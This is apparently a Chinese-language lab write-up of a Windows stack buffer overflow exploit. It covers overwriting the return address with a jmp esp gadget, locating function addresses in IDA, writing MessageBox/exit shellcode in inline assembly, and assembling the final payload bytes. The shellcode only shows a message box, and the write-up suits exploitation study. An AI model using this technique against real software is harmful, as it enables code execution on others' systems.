与使用静态地址定位shellcode不同的是

jmp esp控制程序跳转执行shellcode

覆盖栈中的eip为jmp esp,当函数执行完返回时,由于ret指令相当于pop eip,在配合上我们覆盖的eip,则成功将jmp esp的地址弹出到了eip寄存器中。

之后执行jmp esp,由于此时的esp指向此处,所以程序继续向后执行。进而使程序可以执行在栈空间外,我们覆盖填充的数据 (因此可以简单的理解此处的jmp esp算是起着一个连接程序执行shellcode的作用)

最后 因为esp会自动向后执行使esp+1 的原因,所以程序继续向下执行执行后续的shellcode

寻找exit函数地址

其次就是在上一次实验中还存在的一个问题,程序会崩溃退出,这次我们可以通过执行exit来使程序正常退出,不过这里采用ida的方式来查看函数加载的地址。

通过local windows debugger来查看程序运行时的加载库地址

搜索jmp esp 跳转指令

metasploit中夹带的一个小工具msfpescan按理说应该很好用,用于搜索jmp esp 的gadgets

但这里不清楚为什么我搜索到的地址与程序加载的地址始终不同,最终还是通过在ida动态调试中,

搜索字节码ff e4找到的jmp esp 地址为 0x75C1AE4F

快捷键alt + b调出面板

构造shellcode

之后通过c语言写汇编指令

其中的messageboxexit需要通过上述手段寻找到(借用0day2书中的代码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# include <windows.h>
int main(){
HINSTANCE LibHandle;
char dllbuf[11] = "user32.dll";
LibHandle = LoadLibrary(dllbuf);
_asm{
sub sp,0x440
xor ebx,ebx
push ebx
push 0x21595331
push 0x41442c6f
push 0x6c6c6548
mov eax,esp
push ebx
push eax
push eax
push ebx
// MessageBoxA
mov eax,0x75BEFD1E
call eax
push ebx
// exit
mov eax,0x750F7A10
call eax
}
}

然后就是将汇编代码快速转换为字节码的方法有很多,其中比如python的keystone库或者ida或者用专门的工具都可以

或者用工具直接转化,我们只用取从xor开始到call eax为止即可

最后就是这里还有一个我写的快速将字符串转为字节码的小工具(上一次就是因为手动转不明白导致弹出的字符串都乱了,惨)

https://github.com/da1sy/StrToHex

最后我们只用将得到的字节码处理一下再在前面加上填充字符和jmp esp的地址

最后拼接即可完成利用

最后payload

1
2
3
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
\x4f\xae\xc1\x75
\x33\xDB\x53\x68\x31\x53\x59\x21\x68\x6F\x2C\x44\x41\x68\x48\x65\x6C\x6C\x8B\xC4\x53\x50\x50\x53\xB8\x1E\xFD\xBE\x75\xFF\xD0\x53\xB8\x10\x7A\x0F\x75\xFF\xD0